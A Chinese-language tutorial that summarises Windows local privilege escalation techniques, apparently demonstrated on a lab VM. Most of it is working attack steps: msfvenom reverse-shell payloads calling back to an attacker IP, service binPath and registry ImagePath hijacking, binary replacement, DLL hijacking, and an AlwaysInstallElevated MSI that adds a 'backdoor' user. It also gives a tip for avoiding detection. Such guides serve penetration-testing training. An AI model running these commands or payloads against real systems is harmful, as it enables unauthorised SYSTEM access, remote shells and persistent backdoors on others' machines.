Windows提权相关的技术总结

Windows内核利用

如果该系统经常升级,那么这些利用方式可能不会那么有效。你可以使用Watson检查看看有没有因为没有打补丁而产生的漏洞。现在Watson已经整合进winPEAS了。一旦你发现任何漏洞,你都可以在下面的仓库中下载到相同的漏洞。这里你要确保下载的架构和你目标架构一致 。如果你需要编译二进制文件,你可以使用kali进行交叉编译。

https://github.com/SecWiki/windows-kernel-exploits

第一步:提取systeminfo命令的输出信息

C:\Users\user>systeminfo

Host Name:                 MSEDGEWIN10
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 4:59:35 AM
System Boot Time:          2/27/2022, 9:40:09 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz
                           [02]: Intel64 Family 6 Model 142 Stepping 12 GenuineIntel ~2112 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,225 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 3,331 MB
Virtual Memory: In Use:    2,172 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\MSEDGEWIN10
Hotfix(s):                 9 Hotfix(s) Installed.
                           [01]: KB4601558
                           [02]: KB4462930
                           [03]: KB4465065
                           [04]: KB4470788
                           [05]: KB4480056
                           [06]: KB4486153
                           [07]: KB4489907
                           [08]: KB5003243
                           [09]: KB4489899
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.58.70
                                 IP address(es)
                                 [01]: 192.168.58.66
                                 [02]: fe80::30eb:c6f3:8bdf:9647
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

第二步:使用wes(https://github.com/bitsadmin/wesng)或者windows-exploit-suggeste(https://github.com/SecWiki/windows-kernel-exploits)这两个工具对systeminfo的信息进行扫描,这里我以wes工具为例。

命令:python wes.py systeminfo.txt
通过结果我们可以在漏洞库中下载不同的版本进行提权。
漏洞库链接:
1.https://github.com/SecWiki/windows-kernel-exploits
2.https://www.exploit-db.com/

第三步:将下载的文件放入靶机中运行,并启动我们通过msfvenom生成的木马文件即可。

生成木马命令:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe
运行命令:> .\x64.exe C:\PrivEsc\reverse.exe

未使用双引号的服务路径

如果启动了某一服务,Windows就会搜索它的二进制文件来运行。要运行的二进制文件的位置在 binPath 属性中声明。如果该二进制文件没有被引用,Windows就不知道该二进制文件存放在哪里,然后就会在所有文件夹中进行查找。
所以,如果我们想利用这一点,我们需满足三个条件:

  • 服务路径未使用双引号;
  • 服务路径包含空格;以及
  • 我们有某一中间文件夹的写权限。

如果binPath是这样设置的:

C:\Program Files\Unquoted Path Service\Common Files\service.exe

Windows会根据以下顺序进行查找:

  1. C:\
  2. C:\Program Files\
  3. C:\Program Files\Unquoted Path Service\
  4. C:\Program Files\Unquoted Path Service\Common.exe

Windows本地提权相关的技术总结

PowerUp检测到的未使用双引号的服务路径

Windows本地提权相关的技术总结

winPEAS检测到的可写路径

第一步:用 msfvenom 创建一个payload,命名为reversel.exe,使用accesschk.exe检查写权限:

> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
结果发现在.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"此目录下user有写得权限。

第二步:将生成的木马文件放入到目录下

使用copy命令
copy C:\PrivEsc\reverse.exe  "C:\Program Files\Unquoted Path 
Service\Common.exe"
这里注意前面的是我们的木马文件的路径 后面是我们得到的user用户拥有写权限的路径。

第三步:用sc start unquotedsvc启动该服务并运行该paylod。在kail上监听即可反弹shell。

弱服务权限

由SYSTEM创建的服务存在弱权限,会导致提权。如果低权限用户可以修改服务配置,也就是,修改 binPath 为一个恶意二进制文件并重启该服务,那么,恶意二进制文件就将以SYSTEM权限被执行

如果Authenticated Users组在服务中具有SERVICE_ALL_ACCESS,则它可以修改该服务正在执行的二进制文件。

Windows本地提权相关的技术总结

第一步:重新配置服务文件路径,使用我们的反向shell可执行文件:

命令: sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

第二步:启动服务

net start daclsvc

弱注册表权限

在Windows中,每一个服务都有一个注册键,而且这些注册键位于

1HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

如果Authenticated UsersNT AUTHORITY\INTERACTIVE有任一服务的完全控制权,那么你就可以换掉要该service要运行的二进制文件。

Windows本地提权相关的技术总结

Windows本地提权相关的技术总结

第一步:修改注册表ImagePath的值为你的payload所在的位置,并启动该服务。

命令:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d  C:\PrivEsc\tools\reverse.exe /f
注意:第一个地址为注册表的原始路径,第二个为我们的木马生成路径。

第二步:启动注册表服务。

命令:net start regsvc

弱文件夹权限

如果用户有某一服务所使用的文件夹的写权限,他就可以将二进制文件替换为恶意的二进制文件。那么重启服务后,该恶意二进制文件就会以更高的权限被执行。

Windows本地提权相关的技术总结

有弱权限的二进制服务文件

Windows本地提权相关的技术总结

第一步:通过复制payload到该二进制服务文件所在的位置,就可以替换该文件。重启该服务后,payload就会以更高权限被执行。

注意:我们在提权时为了防止被发现我们可以将需要替换的文件先复制到临时文件夹中,当提权结束后再将源文件移动回去。
命令:copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
这里第一个文件为生成的木马文件,第二个文件为我们的如文件夹的文件。

第二步:启动二进制文件

net start filepermsvc

DLL 劫持

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录
2、32位系统目录(C:\Windows\System32)
3、16位系统目录(C:\Windows\System)
4、Windows目录 (C:\Windows)
5、当前工作目录(Current Working Directory,CWD)
6、在PATH环境变量的目录(先系统后用户)

Windows本地提权相关的技术总结

第一步:

先开启服务: net start dllsvc

第二步:

在kail上生成木马:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o  hijackme.dll

第三步:复制DLL到Windows虚拟机,并进入C:\Temp目录。在Kali上启动监听器,然后停止/启动服务以触发攻击

> net stop dllsvc
> net start dllsvc

Always Install Elevated

根据AlwaysInstallElevated组策略,Windows允许低权限用户使用system权限安装微软Windows安装包(Microsoft Windows Installer,MSI)。

Windows本地提权相关的技术总结

msfvenom创建一个msi格式的payload。

Windows本地提权相关的技术总结

msfvenom -p windows/adduser USER=backdoor PASS=Pass@1234 -f msi -o setup.msi

使用如下命令安装payload。

msiexec /quiet/qn /i C:\Windows\Temp\setup.msi

Windows本地提权相关的技术总结

MSI安装后用户添加的后门。

可修改的autorun

Windows本地提权相关的技术总结

因为autorun的路径是可以修改的,我们可以用payload替换该文件。要以高权限运行该程序,我们需要等某个在admin组的用户登录。

Windows本地提权相关的技术总结

Windows本地提权相关的技术总结

admin登录

Windows本地提权相关的技术总结

payload在admin登录的那一刻执行。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐